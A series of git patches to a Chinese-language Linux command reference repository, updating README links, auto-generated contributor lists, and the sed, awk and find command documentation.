数据来源于 GitHub Contributors，使用action-contributors创建。 From 4582a51048260184f44aeaa1aba2d18771a3ffef Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Jun 2024 14:34:51 +0800 Subject: [PATCH 0886/1019] doc: Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 858127966b7..a7c261ee55e 100644 --- a/README.md +++ b/README.md @@ -15,8 +15,6 @@ 当前仓库搜集了 580 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 -[Web](#web-版本) | [微信小程序](#微信小程序版本) | [Dash](#dash-版本) | [Raycast](#raycast-版本) | [Alfred](#alfred-版本) | [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) | [命令行工具](#命令行工具) | [Docker](#docker) - ## Web 版本 [Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) @@ -45,11 +43,13 @@ ## 其它版本 +- [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) - [微信小程序版本](https://github.com/jaywcjlove/linux-command/issues/260)，由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260) - [Chrome 插件](https://github.com/jaywcjlove/oscnews)，[下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者通过 Chrome Web Store 下载 - [Raycast 版本](https://www.raycast.com/jaywcjlove/linux-command)，([**#338**](https://github.com/jaywcjlove/linux-command/issues/338)) - [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases)，`Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 使用，[下载 .docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件，由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供 - [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases) +- [Mac/Win/Linux](https://github.com/haloislet/linux-command) - [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 - [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129)，由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 From 6ef67d1b8be6d74caad51e46603bf4a73f2b65b6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 27 Jun 2024 14:49:37 +0800 Subject: [PATCH 0887/1019] doc: Update README.md --- README.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index a7c261ee55e..56c059ffd8c 100644 --- a/README.md +++ b/README.md @@ -206,15 +206,17 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 软件工具 - [超赞的Linux软件](https://www.gitbook.com/book/alim0x/awesome-linux-software-zh_cn/details) Github仓库[Zh](https://github.com/alim0x/Awesome-Linux-Software-zh_CN) [En](https://github.com/VoLuong/Awesome-Linux-Software) -- Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) - - [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”，可以查看PDF，还支持各种漫画书格式 - - [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 - - [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 - - [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 - - [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 - - [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 - - [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 - - [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件，广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 + +Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) + +- [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”，可以查看PDF，还支持各种漫画书格式 +- [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 +- [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 +- [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 +- [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 +- [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 +- [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 +- [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件，广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 ### 中国开源镜像站点 From ec8c036a02e30620d87a5884a83dd21c986bb912 Mon Sep 17 00:00:00 2001 From: Karl Horky Date: Sun, 30 Jun 2024 13:42:54 +0200 Subject: [PATCH 0888/1019] chore: Switch Kenny Wang to Kenny Wong (#587) --- template/js/copy-to-clipboard.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/template/js/copy-to-clipboard.js b/template/js/copy-to-clipboard.js index 8647fc1c6c1..20345e0759f 100644 --- a/template/js/copy-to-clipboard.js +++ b/template/js/copy-to-clipboard.js @@ -1,4 +1,4 @@ -/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wang | https://github.com/uiwjs/copy-to-clipboard.git */ +/*! @uiw/copy-to-clipboard v1.0.12 | MIT (c) 2021 Kenny Wong | https://github.com/uiwjs/copy-to-clipboard.git */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).copyTextToClipboard=t()}(this,(function(){"use strict";return function(e,t){const o=document.createElement("textarea");o.value=e,o.setAttribute("readonly",""),o.style={position:"absolute",left:"-9999px"},document.body.appendChild(o);const n=document.getSelection().rangeCount>0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); function copied(target, str) { @@ -8,4 +8,4 @@ function copied(target, str) { target.classList.remove('active'); }, 2000); }); -} \ No newline at end of file +} From 3d20516afc71171977c76e4d23c668042ab0958d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 30 Jun 2024 11:43:25 +0000 Subject: [PATCH 0889/1019] doc: update README.md. --- README.md | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 56c059ffd8c..6da2ae51b34 100644 --- a/README.md +++ b/README.md @@ -289,23 +289,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. xhal VVatt gggwvg -BingCoke -Ein Verne -Pan, Wen-Ming -RichardLCD -Shan Chenyu Dazhuangw Alterem YH -Xingwen Zhang -Xrtero YEUNGCHIE -juemuren4449 -kassadin -kid1412621 -leo -lewis1573 +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +BingCoke +Ein Verne +Pan, Wen-Ming linuxwd +lewis1573 +leo +kid1412621 +kassadin +juemuren4449 Ricardowang cole myliwenbo @@ -313,7 +313,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -rexlin600 +Yidan Wang jqz3.tech jcdj666 hululu1068 @@ -328,8 +328,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Mystic -Yidan Wang +Forever121 Panthea Johnson 远方 谢民皆 @@ -360,6 +359,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shuangcui shc sfwwslm +rexlin600 MinsonLee Marnm mwei @@ -372,6 +372,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LexsionLee Legend LaudOak +Karl Horky Nexchard Jeremy2214 Jack.A.Black @@ -389,7 +390,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -418,7 +418,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Robigus Rining Wu Ray Yee -QinShower +QinShower +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 91bc78cf3b5dd90cbe861bc97814d48cc63a6308 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 30 Jun 2024 11:43:25 +0000 Subject: [PATCH 0890/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index be7be0b51aa..6cf5376ffa8 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,23 +35,23 @@ xhal VVatt gggwvg -BingCoke -Ein Verne -Pan, Wen-Ming -RichardLCD -Shan Chenyu Dazhuangw Alterem YH -Xingwen Zhang -Xrtero YEUNGCHIE -juemuren4449 -kassadin -kid1412621 -leo -lewis1573 +Xrtero +Xingwen Zhang +Shan Chenyu +RichardLCD +BingCoke +Ein Verne +Pan, Wen-Ming linuxwd +lewis1573 +leo +kid1412621 +kassadin +juemuren4449 Ricardowang cole myliwenbo @@ -59,7 +59,7 @@ noodles2hg nsnans oliver -rexlin600 +Yidan Wang jqz3.tech jcdj666 hululu1068 @@ -74,8 +74,7 @@ Deny dayday cxalc -Mystic -Yidan Wang +Forever121 Panthea Johnson 远方 谢民皆 @@ -106,6 +105,7 @@ shuangcui shc sfwwslm +rexlin600 MinsonLee Marnm mwei @@ -118,6 +118,7 @@ LexsionLee Legend LaudOak +Karl Horky Nexchard Jeremy2214 Jack.A.Black @@ -135,7 +136,6 @@ Azroy Alan 0x_000 -Forever121 c2ch brinkqiang bell @@ -164,7 +164,8 @@ Robigus Rining Wu Ray Yee -QinShower +QinShower +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From 7c11c4631a224fe0823eb094577eecfda76d95c9 Mon Sep 17 00:00:00 2001 From: FunKeen <112614943+FunKeen@users.noreply.github.com> Date: Wed, 10 Jul 2024 11:02:58 +0800 Subject: [PATCH 0891/1019] doc: Update sed.md (#589) --- command/sed.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/sed.md b/command/sed.md index 108fa1c44f6..416c271f25e 100644 --- a/command/sed.md +++ b/command/sed.md @@ -172,9 +172,10 @@ sed '2,$d' file sed '$d' file ``` -删除文件中所有开头是test的行： +删除文件中所有开头是test的行(d写外边效果一样)： ```shell +sed '/^test/d' file sed '/^test/'d file ``` From d8553adae9e0c067a6744123686a9e5fa9cf2349 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 03:03:27 +0000 Subject: [PATCH 0892/1019] doc: update README.md. --- README.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 6da2ae51b34..0f8d193c9ee 100644 --- a/README.md +++ b/README.md @@ -300,12 +300,13 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. BingCoke Ein Verne Pan, Wen-Ming -linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 +jqz3.tech +linuxwd Ricardowang cole myliwenbo @@ -313,8 +314,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -329,6 +328,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -360,7 +361,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 -MinsonLee Marnm mwei Wang @@ -381,6 +381,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Herbert8 Guiying Li +FunKeen Frankie Divenire Derek @@ -390,7 +391,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -419,7 +419,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Mystic +Mystic +MinsonLee 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 3454b8ac357293015980af0eaa077b151f71f202 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 03:03:27 +0000 Subject: [PATCH 0893/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6cf5376ffa8..0b4ad636e1d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -46,12 +46,13 @@ BingCoke Ein Verne Pan, Wen-Ming -linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 +jqz3.tech +linuxwd Ricardowang cole myliwenbo @@ -59,8 +60,6 @@ noodles2hg nsnans oliver -Yidan Wang -jqz3.tech jcdj666 hululu1068 huangyao @@ -75,6 +74,8 @@ dayday cxalc Forever121 +c2ch +Yidan Wang Panthea Johnson 远方 谢民皆 @@ -106,7 +107,6 @@ shc sfwwslm rexlin600 -MinsonLee Marnm mwei Wang @@ -127,6 +127,7 @@ HighScorePlayer Herbert8 Guiying Li +FunKeen Frankie Divenire Derek @@ -136,7 +137,6 @@ Azroy Alan 0x_000 -c2ch brinkqiang bell azureology @@ -165,7 +165,8 @@ Rining Wu Ray Yee QinShower -Mystic +Mystic +MinsonLee

数据来源于 GitHub Contributors，使用action-contributors创建。 From 0db6aa6243718b2ab3a7f76f02ffc41abcd71eca Mon Sep 17 00:00:00 2001 From: FunKeen <112614943+FunKeen@users.noreply.github.com> Date: Wed, 10 Jul 2024 21:30:56 +0800 Subject: [PATCH 0894/1019] doc: update command/awk.md (#590) --- command/awk.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/awk.md b/command/awk.md index 00145315da7..9a540cb3d81 100644 --- a/command/awk.md +++ b/command/awk.md @@ -371,7 +371,7 @@ awk 'NR%2==1{next}{print NR,$0;}' text.txt 当记录行号除以2余1，就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始，程序有开始判断`NR%2`值。这个时候记录行号是`：2` ，就会执行下面语句块：`'print NR,$0'` -分析发现需要将包含有“web”行进行跳过，然后需要将内容与下面行合并为一行： +跳过以“web”为首的行，再将该行内容分别与下面不以“web”为首的行合并打印，使用一个“：”和一个制表符连接： ```shell cat text.txt @@ -386,7 +386,7 @@ web03[192.168.2.102] mysqld ok httpd ok 0 -awk '/^web/{T=$0;next;}{print T":"t,$0;}' text.txt +awk '/^web/{T=$0;next;}{print T":\t"$0;}' text.txt web01[192.168.2.100]: httpd ok web01[192.168.2.100]: tomcat ok web01[192.168.2.100]: sendmail ok From d8438272b0bf5913a260a28822566583c8f4c1e7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 13:31:41 +0000 Subject: [PATCH 0895/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0f8d193c9ee..6da01a1f3e1 100644 --- a/README.md +++ b/README.md @@ -361,6 +361,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 +MinsonLee Marnm mwei Wang @@ -381,7 +382,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. HighScorePlayer Herbert8 Guiying Li -FunKeen Frankie Divenire Derek @@ -391,6 +391,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Azroy Alan 0x_000 +c2ch brinkqiang bell azureology @@ -419,8 +420,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rining Wu Ray Yee QinShower -Mystic -MinsonLee +Mystic 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 7553e4f483b86a1c6d9e1ae09f82750d663d2da7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 10 Jul 2024 13:31:42 +0000 Subject: [PATCH 0896/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0b4ad636e1d..b92b768b4ce 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -107,6 +107,7 @@ shc sfwwslm rexlin600 +MinsonLee Marnm mwei Wang @@ -127,7 +128,6 @@ HighScorePlayer Herbert8 Guiying Li -FunKeen Frankie Divenire Derek @@ -137,6 +137,7 @@ Azroy Alan 0x_000 +c2ch brinkqiang bell azureology @@ -165,8 +166,7 @@ Rining Wu Ray Yee QinShower -Mystic -MinsonLee +Mystic

数据来源于 GitHub Contributors，使用action-contributors创建。 From f9de3eb62156ead712f9d852deb556132e00bdc3 Mon Sep 17 00:00:00 2001 From: "Q.Ben Zheng" <40693636+Zhengqbbb@users.noreply.github.com> Date: Thu, 11 Jul 2024 09:33:42 +0800 Subject: [PATCH 0897/1019] docs: add X-CMD social website (#591) --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6da01a1f3e1..bc9f51e9048 100644 --- a/README.md +++ b/README.md @@ -191,6 +191,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 - [鸟哥的linux私房菜](http://linux.vbird.org/) - 非常适合Linux入门初学者看的教程。 - [Linux公社](http://www.linuxidc.com/) - Linux相关的新闻、教程、主题、壁纸都有。 - [Linux Today](http://www.linuxde.net) - Linux新闻资讯发布，Linux职业技术学习！。 +- [X-CMD](https://www.x-cmd.com/) - Shell + AWK 为核心增强原生命令输出以及交互体验，各种命令以及现代化软件包的介绍和使用教程，每日科技新闻资讯，欢迎浏览关注！ ### 知识相关 From f686028a0f260eba0101fce5cbeb7b80cd75c9fc Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jul 2024 01:34:27 +0000 Subject: [PATCH 0898/1019] doc: update README.md. --- README.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index bc9f51e9048..2c50f0cc271 100644 --- a/README.md +++ b/README.md @@ -290,23 +290,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. xhal VVatt gggwvg -Dazhuangw -Alterem -YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD BingCoke Ein Verne +FunKeen Pan, Wen-Ming -lewis1573 -leo -kid1412621 -kassadin +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE +Dazhuangw +Alterem +YH juemuren4449 -jqz3.tech +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -315,6 +315,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver +Yidan Wang +jqz3.tech jcdj666 hululu1068 huangyao @@ -329,8 +331,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. dayday cxalc Forever121 -c2ch -Yidan Wang Panthea Johnson 远方 谢民皆 From 071e0c0aa1535c828b42ba71b5933e698035a7cb Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 11 Jul 2024 01:34:29 +0000 Subject: [PATCH 0899/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index b92b768b4ce..c4c13664ab2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -35,23 +35,23 @@ xhal VVatt gggwvg -Dazhuangw -Alterem -YH -YEUNGCHIE -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD BingCoke Ein Verne +FunKeen Pan, Wen-Ming -lewis1573 -leo -kid1412621 -kassadin +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YEUNGCHIE +Dazhuangw +Alterem +YH juemuren4449 -jqz3.tech +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -60,6 +60,8 @@ noodles2hg nsnans oliver +Yidan Wang +jqz3.tech jcdj666 hululu1068 huangyao @@ -74,8 +76,6 @@ dayday cxalc Forever121 -c2ch -Yidan Wang Panthea Johnson 远方 谢民皆 From e479f15adfb16f08b5f0c8e6cd09dcd65eef1cd3 Mon Sep 17 00:00:00 2001 From: hotdogc1017 Date: Mon, 15 Jul 2024 10:19:49 +0800 Subject: [PATCH 0900/1019] =?UTF-8?q?docs(find=E5=91=BD=E4=BB=A4):=20?= =?UTF-8?q?=E6=8B=93=E5=B1=95`find`=E5=91=BD=E4=BB=A4=E6=8F=8F=E8=BF=B0?= =?UTF-8?q?=E4=BB=A5=E5=8F=8A=E8=A1=A5=E5=85=85=E9=A2=9D=E5=A4=96=E7=9A=84?= =?UTF-8?q?=E8=A1=A8=E8=BE=BE=E5=BC=8F=E9=80=89=E9=A1=B9=20(#593)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/find.md | 399 ++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 369 insertions(+), 30 deletions(-) diff --git a/command/find.md b/command/find.md index d6c5521366b..96612ab8420 100644 --- a/command/find.md +++ b/command/find.md @@ -3,18 +3,43 @@ find 在指定目录下查找文件 +## 解释 + +从每个指定的起始点 (目录) 开始，搜索以该点为根的目录树，并按照运算符优先级规则**从左至右**评估给定的表达式，直到结果确定，此时`find`会继续处理下一个文件名。 + ## 补充说明 -**find命令** 用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时，不设置任何参数，则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。 +本文列出的选项指的是**表达式列表中的选项**。这些选项控制了`find`的行为，需在**最后一个路径名之后**立即指定。 -### 语法 +五个真实选项: `-H、-L、-P、-D 和 -O`。如果出现，**必须位于第一个路径名之前**。关于这部分内容本文不做描述，具体内容可参考[man7.org中的find](https://man7.org/linux/man-pages/man1/find.1.html#top_of_page) +如果使用该命令时，不设置任何参数，则`find`命令将在当前目录下查找子目录与文件，并且将查找到的子目录和文件全部进行显示。等效于以下命令: ```shell -find(选项)(参数) +find . -print ``` -### 选项 +## 语法 + +```shell +find [-H] [-L] [-P] [-D debugopts] [-Olevel] [起始点...] [表达式] +``` +忽略真实选项后 (更为常见): +```shell +find [起始点...] [表达式] +``` + +## 表达式分类 +起始点（列表）之后的部分是表达式。这是一种**查询规范**，描述了我们如何匹配文件（返回**真**或者**假**）以及对匹配到的文件进行何种操作。表达式由一系列元素组成： +- 测试（Tests）：测试返回一个真或假值，通常基于我们正在考虑的文件的某个属性。例如，`-empty`测试仅在当前文件为空时为真。 +- 操作（Actions）：操作具有副作用（例如在标准输出上打印内容），并返回真或假，通常基于它们是否成功。例如，`-print`操作会在标准输出上打印当前文件的名称。 +- 全局（Global）：全局选项影响命令行中任何部分指定的测试和操作的执行。全局选项始终返回真值。例如，`-depth`选项使find以深度优先的顺序遍历文件系统。 +- 位置（Positional）：位置选项仅影响其后的测试或操作。位置选项始终返回真值。例如，`-regextype`选项是位置选项，用于指定命令行中后续正则表达式所使用的正则表达式方言。 +- 操作符（Operators）：运算符将表达式中的其他项连接起来。例如，它们包括`-o`（表示逻辑或）和`-a`（表示逻辑与）。如果缺少运算符，则默认使用`-a`。 + +## 表达式选项 + +### 测试选项 ```shell -amin<分钟>：查找在指定时间曾被存取过的文件或目录，单位以分钟计算； -anewer<参考文件或目录>：查找其存取时间较指定文件或目录的存取时间更接近现在的文件或目录； @@ -22,65 +47,379 @@ find(选项)(参数) -cmin<分钟>：查找在指定时间之时被更改过的文件或目录； -cnewer<参考文件或目录>查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录； -ctime<24小时数>：查找在指定时间之时被更改的文件或目录，单位以24小时计算； --daystart：从本日开始计算时间； --depth：从指定目录下最深层的子目录开始查找； -empty：寻找文件大小为0 Byte的文件，或目录下没有任何子目录或文件的空目录； --exec<执行指令>：假设find指令的回传值为True，就执行该指令； +-executable 匹配当前用户可执行的文件和可搜索的目录。 -false：将find指令的回传值皆设为False； --fls<列表文件>：此参数的效果和指定“-ls”参数类似，但会把结果保存为指定的列表文件； --follow：排除符号连接； --fprint<列表文件>：此参数的效果和指定“-print”参数类似，但会把结果保存成指定的列表文件； --fprint0<列表文件>：此参数的效果和指定“-print0”参数类似，但会把结果保存成指定的列表文件； --fprintf<列表文件><输出格式>：此参数的效果和指定“-printf”参数类似，但会把结果保存成指定的列表文件； -fstype<文件系统类型>：只寻找该文件系统类型下的文件或目录； -gid<群组识别码>：查找符合指定之群组识别码的文件或目录； -group<群组名称>：查找符合指定之群组名称的文件或目录； --help或--help：在线帮助； -ilname<范本样式>：此参数的效果和指定“-lname”参数类似，但忽略字符大小写的差别； -iname<范本样式>：此参数的效果和指定“-name”参数类似，但忽略字符大小写的差别； -inum：查找符合指定的inode编号的文件或目录； -ipath<范本样式>：此参数的效果和指定“-path”参数类似，但忽略字符大小写的差别； -iregex<范本样式>：此参数的效果和指定“-regexe”参数类似，但忽略字符大小写的差别； +-iwholename 模式参见`-ipath`。此选项的可移植性较`-ipath`差。 -links<连接数目>：查找符合指定的硬连接数目的文件或目录； -lname<范本样式>：指定字符串作为寻找符号连接的范本样式； --ls：假设find指令的回传值为True，就将文件或目录名称列出到标准输出； --maxdepth<目录层级>：设置最大目录层级； --mindepth<目录层级>：设置最小目录层级； -mmin<分钟>：查找在指定时间曾被更改过的文件或目录，单位以分钟计算； --mount：此参数的效果和指定“-xdev”相同； -mtime<24小时数>：查找在指定时间曾被更改过的文件或目录，单位以24小时计算； -name<范本样式>：指定字符串作为寻找文件或目录的范本样式； -newer<参考文件或目录>：查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录； +-newerXY<引用>：如果正在考虑的文件的时间戳 X 比文件引用的时间戳 Y 更新则成功。 -nogroup：找出不属于本地主机群组识别码的文件或目录； --noleaf：不去考虑目录至少需拥有两个硬连接存在； -nouser：找出不属于本地主机用户识别码的文件或目录； --ok<执行指令>：此参数的效果和指定“-exec”类似，但在执行指令之前会先询问用户，若回答“y”或“Y”，则放弃执行命令； -path<范本样式>：指定字符串作为寻找目录的范本样式； -perm<权限数值>：查找符合指定的权限数值的文件或目录； --print：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为每列一个名称，每个名称前皆有“./”字符串； --print0：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行； --printf<输出格式>：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式可以自行指定； --prune：不寻找字符串作为寻找文件或目录的范本样式; +-readable：匹配当前用户可读的文件 -regex<范本样式>：指定字符串作为寻找文件或目录的范本样式； +-samefile 名称 文件与名称指向相同的 inode。 -size<文件大小>：查找符合指定的文件大小的文件； --true：将find指令的回传值皆设为True； -type<文件类型>：只寻找符合指定的文件类型的文件； -uid<用户识别码>：查找符合指定的用户识别码的文件或目录； -used<日数>：查找文件或目录被更改之后在指定时间曾被存取过的文件或目录，单位以日计算； -user<拥有者名称>：查找符和指定的拥有者名称的文件或目录； --version或——version：显示版本信息； --xdev：将范围局限在先行的文件系统中； +-writable：匹配当前用户可写入的文件。 -xtype<文件类型>：此参数的效果和指定“-type”参数类似，差别在于它针对符号连接检查。 +-context<表达式>：仅限 SELinux。文件的安全上下文与全局模式匹配 ``` -### 参数 +### 操作选项 + +#### -delete 删除文件或目录。 +> :warning:警告：find 命令会将命令行作为表达式进行解析，因此将`-delete`放在首位会将指定的起始点下的**所有内容删除**。且`-delete`操作无法删除一个目录，除非它是空的。 + +##### *无参数* + +##### 描述 +如果删除成功则返回真。若删除失败，将显示错误消息，并且 find 最终退出时的状态码将为非零。 + +##### 相关选项 +- **-depth**：在命令行中使用`-delete`操作会自动启用`-depth`选项。为了避免意外情况，通常最好在早期的**Tests选项**中**明确使用**`-depth`选项。 +- 